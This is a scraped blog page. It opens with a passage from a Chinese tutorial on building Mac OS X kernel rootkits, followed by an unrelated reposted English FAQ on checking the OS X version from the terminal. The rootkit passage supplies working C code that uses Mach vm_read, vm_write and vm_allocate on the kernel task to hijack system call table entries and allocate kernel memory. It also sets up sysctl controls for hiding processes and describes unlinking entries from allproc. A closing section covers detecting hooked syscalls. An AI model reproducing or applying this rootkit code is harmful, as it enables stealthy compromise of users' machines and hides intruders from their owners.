sysctl_register_oid(&sysctl__hw_hideprocess); 
sysctl_register_oid(&sysctl__hw_unhideprocess); 

return KERN_SUCCESS; 


        这 段代码注册了两个新的sysctl变量,hw.hideprocess和hw.unhideprocess。当使用sysctl –w,设置信号变量hw.hideprocess=99时,会调用sysctl_hideproc()函数,将参数传入PID的进程从列表中隐藏。隐藏文 件的sysctl于此稍有不同,区别在于它要传入一个指出文件路径的字符串作为参数。使用sysctl作为隐蔽通信途径的最大好处就是它支持动态的变量注 册,而且sysctl几乎是所有操作系统的标准配置,系统内部的大量使用让用户难以区分其目的是善意还是恶意的。 
        用户空间和内核通信的方法还有很多,其他的例如使用Mach进程间通信 API,或者内核控制套接字等,都可以从用户空间控制我们的内核Rootkit。 



5 运行时内核补丁 

        除 了使用内核模块和kext族命令之外,还有一个利用Mach层API的方法可以给系统内核打上运行时补丁,劫持系统调用。这在Rootkit开发领域已经 不算稀奇,先前如sd的SucKIT和rebel的phalanx,两种Linux下的Rootkit都已经采用了这种技术。 
        SucKIT 和phalanx在Linux下访问内核地址空间用的都是/dev/kmem或者/dev/mem。不过这二者在Mac OS X中从10.4版之后都已经删除,由Mach子系统提供了另外一套非常有用的内存管理函数。对于Rootkit开发者来说,感兴趣的可能有 vm_read(),vm_write()和vm_allocate()等几个。一旦获得了root权限,它们就可以从用户空间随意的读取或者写入数据到 内核地址范围,并且分配内核内存空间等等。在这其中,又要数vm_allocate()函数的价值最为重大了。原来在其他操作系统中,通常都是采用 kmalloc()替换一个系统调用的方法,在内核中分配内存空间。这样需要攻击者在操作之前保存原始的包装函数,某些情况下,用户空间其他程序调用同一 个系统调用还会引起竞争条件的错误。现在,Mac OS X为内核开发者们提供了专门的内核分配函数,便利性和稳定性都提高了很多。 

5.1 劫持系统调用 

我 们可以利用vm_read()和vm_write()来劫持系统调用。首先,我们需要定位系统调用表的位置,表中包含了我们准备劫持的指向处理函数的指 针。具体方法就如前面Landon Fuller的做法一样,在内核和用户空间都同样有效。接着我们用vm_read()读取一个系统调用处理函数的地址,例如SYS_kill,读取其结构 中sy_call变量即可。 

mach_port_t port; 
pointer_t buf; /* pointer to your result */ 
unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */ 
unsigned int len = 4; /* number of bytes to read */ 
unsigned int sys_kill_addr = 0; /* final destination */ 

/* get a port to pid 0, the mach kernel */ 
if (task_for_pid(mach_task_self(), 0, &port)) { 
fprintf(stderr, "failed to get port/n"); 
exit(EXIT_FAILURE); 


/* read len bytes from r_addr, return pointer to the data in &buf */ 
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { 
fprintf(stderr, "could not read memory/n"); 
exit(EXIT_FAILURE); 


/* do proper typecast */ 
sys_kill_addr = *(unsigned int*)buf; 

        SYS_kill 处理函数的地址已经保存到sys_kill_addr变量中了,替换处理句柄只需要编写一个新的函数,将其地址用vm_write()写到sy_call 就可以了。在下面的例子中,我们用SYS_exit的处理句柄来替换SYS_setuid的处理函数,这样任何对SYS_setuid 的调用最终都将导致程序的终止。 

SYSENT *_sysent = get_sysent_from_mem(); 
mach_port_t port; 
pointer_t buf; 
unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */ 
unsigned int len = 4; /* number of bytes to read */ 
unsigned int sys_exit_addr = 0; /* final destination */ 
unsigned int sz, addr; 

/* get a port to pid 0, the mach kernel */ 
if (task_for_pid(mach_task_self(), 0, &port)) { 
fprintf(stderr, "failed to get port/n"); 
exit(EXIT_FAILURE); 


/* read len bytes from r_addr, return pointer to the data in &buf */ 
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { 
fprintf(stderr, "could not read memory/n"); 
exit(EXIT_FAILURE); 


/* do proper typecast */ 
sys_exit_addr = *(unsigned int*)buf; 

/* address to system call handler pointer of SYS_setuid */ 
addr = (unsigned int)&_sysent[SYS_setuid].sy_call; 

/* replace SYS_setuids handler with the handler of SYS_exit */ 
if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr, sizeof(sys_exit_addr))) { 
fprintf(stderr, "could not write memory/n"); 
exit(EXIT_FAILURE); 


        现 在如果程序调用setuid(),将被重定向到调用SYS_exit函数。我们用的是Mach API,同样的功能内核扩展程序也可以做到。有时为了创建一些包装函数,或者替换一个完整的函数,就需要在内核中为存储新的代码而分配内存空间。下面的例 子中,我们将演示用Mach API分配一个4096字节的内核内存区域。 

vm_address_t buf;                /* pointer to our newly allocated memory */ 
mach_port_t port;                /* a mach port is a communication channel between threads */ 

/* get a port to pid 0, the mach kernel */ 
if (task_for_pid(mach_task_self(), 0, &port)) { 
fprintf(stderr, "failed to get port/n"); 
exit(EXIT_FAILURE); 


/* allocate memory and return the pointer to &buf */ 
if (vm_allocate(port, &buf, 4096, TRUE)) { 
fprintf(stderr, "could not allocate memory/n"); 
exit(EXIT_FAILURE); 


一切顺利的话,可以得到一片4096字节的内存缓冲区,我们自己编写的勾挂函数就可以存放在这里。 

5.2 操纵直接内核对象(Direct Kernel Object) 

        Mach API不仅可以劫持系统调用,它也可以用来操纵各种各样的内核对象。这里有一个allproc结构的例子。 
allproc 是系统当前运行进程的列表结构,通过ps和top命令可以从其中取得运行进程的相关信息。因此如果要隐藏进程的话,从allproc列表中删除特定进程的 条目也不失为一种不错的方法。allproc结构和前面提到的nsysten变量一样,属于系统导出的符号,只要使用下面的语句就可以在内存中找到 allproc的地址: 

# nm /mach_kernel | grep allproc 
0054280c S _allproc 


        取 得allproc结构的地址0x0054280c之后,对进程列表就可以做尽情的修改了。Kong在《Designing BSD Rootkits》一书中指出,这里有LIST_FOREACH()和LIST_REMOVE()两个宏可以遍历和删除列表中的某个条目,为修改操作提供 了很大的便利。不过此时我们还不能直接修改内存,只有用vm_read()先将数据读出来,修改后再用vm_write()将数据写回去,才能实现进程的 隐藏功能。 



6 检测 

        要检测Rootkit有时是十分困难的,一些常见Rootkit在文件系统,网络连接等方面留下的踪迹可以作为其识别的重要依据。然而如果碰到了未知的Rootkit,检测出来的可能性就微乎其微了。 
        检测系统调用表的完整性是识别Rootkit的重要手段之一,时刻保存一份系统调用表的备份数据和监控当前的系统状态是保持系统完整的必经之路。大多数的解决方案都采用了影子备份数据的方法,在原始表被渗透之后启用备份的新表。 
        Rootkit 在截取和修改系统调用返回的数据之后,有可能在缓冲区的末尾留下一些垃圾信息,这通常都是由于Rootkit开发者们的疏忽所致。反过来看,这正好也为检 测一方提供了绝好的识别物证。还有当返回计数和实际获得的项目数不匹配时,也有Rootkit作怪的可能。而至于寻找隐藏文件的方法,可以编写一个应用程 序直接访问底层的文件系统,将内核输出的文件信息和读取的作比较,看结果自然就一目了然了。有的时候,Rootkit还会打开某些隐蔽的系统端口,虽然有 端口扫描技术来做检测,但是Rootkit也使用了port-knocking等其他的信号机制来避免打开更多的端口资源。Rootkit的检测就像一场 猫和老鼠的游戏,风水总是轮流转个不停,不存在永远的赢家和失败者。 

6.1 检测勾挂的系统调用 

        前 面已经介绍了勾挂系统调用的具体步骤,现在我们将展示一个简单有效的检测劫持系统调用的方法。如前所述,在导出符号nsysent的地址上加32字节,就 可以得到系统调用表的基址,而且nsysent保存了系统中可用的系统调用函数的数目,在10.5.6版Mac OS X上的值为427 (0x1ab)。 
        现在欲检测当前系统的系统调用表是否已被渗透,就需要一个像原始表一样的对比标准。在Mac OS X文件系统的根目录下,我们找到一个名为“mach_kernel”、未压缩、通用的内核镜像文件,以16进制的方式打开,可以看到下面的数据片段: 

# otool -d /mach_kernel | grep -A 10 "ab 01" 
[...] 
0050a780                ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
0050a790                00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
0050a7a0                00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00 
0050a7b0                01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00 


        在 地址0050a780处,我们看到了这个神奇的数字——427 (0x000001ab) ,可用的系统调用数。往后移动32个字节,有数值0x0038cf94,这就是系统调用表的起始位置。那剩下的只用将镜像拷贝至缓冲区,找到 nsysent的偏移,再加上32个字节,返回一个指针作为原始的系统调用表的起始地址就可以了,这所有的步骤都可以用下面的C语言代码来实现,如文中的 代码所示(恕不列出)。 
        文中的代码可用作一个简单的检测函数,还有不尽如人意的地方。攻击者可以操纵SYS_open调用, 并在访问/mach_kernel镜像时将控制流转移到Rootkit定义的文件中去。而且该方法尚不能检测系统调用的函数内联勾挂(inline function hooks),要解决这个问题还需要更多复杂的检测技术。 



7 总结 

        Mac OS X操作系统上的Rootkit已经不再是一个全新的话题了,但是至今还缺乏像Windows和Linux那样全面而细致的研究整理。看过本文,或许你已感 觉到这其中的技术和类Unix操作系统的十分类似,但是又带有OS X自己的,诸如I/O Kit和Mach API等可以渗透XNU内核的鲜明特征。 
        操纵系统调用、内核内部的数据结构以及XNU内核的其他部分,对Rootkit隐藏进程、文件和目录,甚至通过后门来远程操控的 功能都是至关重要的。所有这些都可以通过内核扩展程序和Mach API来实现,两种技术虽有不同,但都可以应用到我们的Rootkit中,用的好的话,Rootkit的隐蔽性能将大大提升。 
        本文的目的在于给出Rootkit的基本概念,针对不同级别的读者群体,以引导和介绍的方式向大家展示一个Mac OS X Rootkit的制作过程。最后,在本文结束时,我也衷心的希望本文能够给大家带来一些收获和体会。^_^
2016-12-11 17:41:57 robertsong2004 阅读数 12175

本文转载至:https://www.cyberciti.biz/faq/mac-osx-find-tell-operating-system-version-from-bash-prompt/

use ssh client to login into my Mac Min server without GUI. How can I tell what version of Mac OS X operating system am I using command prompt? How do I find out Mac OS X version from Terminal app bash shell?


On Apple Mac OS X you need to use the following command to find out operating system version:

  1. system_profiler command – Show Apple hardware and software configuration.
  2. sw_vers command – Show Mac OS X operating system version.
  3. uname command – Show operating system name and more.

Determine OS X version from the command line

Open the terminal app and type the following command:
$ sw_vers
Sample outputs:

Fig. 01: Find OS X version from the command line

Fig. 01: Find OS X version from the command line


Where, you can pass the following options:

  1. -productName – Print just the value of the ProductName property.
  2. -productVersion – Print just the value of the ProductVersion property.
  3. -buildVersion – Print just the value of the BuildVersion property.

Say hello to system_profiler

You can use the system_profiler command as follows to get the same information:
$ system_profiler | less
$ system_profiler SPSoftwareDataType

Sample outputs:

Fig.02: Tell what version of OS X you are using on from the command line

Fig.02: Tell what version of OS X you are using on from the command line

Using SystemVersion.plist file

The above commands use /System/Library/CoreServices/SystemVersion.plist file. One can print the version info as follows:
$ cat /System/Library/CoreServices/SystemVersion.plist
Sample outputs:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>ProductBuildVersion</key>
	<string>15B42</string>
	<key>ProductCopyright</key>
	<string>1983-2015 Apple Inc.</string>
	<key>ProductName</key>
	<string>Mac OS X</string>
	<key>ProductUserVisibleVersion</key>
	<string>10.11.1</string>
	<key>ProductVersion</key>
	<string>10.11.1</string>
</dict>
</plist>

On Mac OS X server, try:
$ cat /System/Library/CoreServices/ServerVersion.plist

How do I find out OS X Darwin kernel version?

Simply type the following uname command to see operating system name including the machine hardware name, the nodename, the machine processor architecture name, the operating system release, the operating system name, and the operating system version:
$ uname -av
Sample outputs:

Darwin Viveks-MacBook-Pro.local 15.0.0 Darwin Kernel Version 15.0.0: Sat Sep 19 15:53:46 PDT 2015; root:xnu-3247.10.11~1/RELEASE_X86_64 x86_64

Tip: Read OS X version in audio format

Type the following bash command to hear OS X version using the say command on OS X:

say $(sw_vers) 
say $(sw_vers -productName && sw_vers -productVersion | sed 's/10//')

mac os的历史版本

阅读数 7268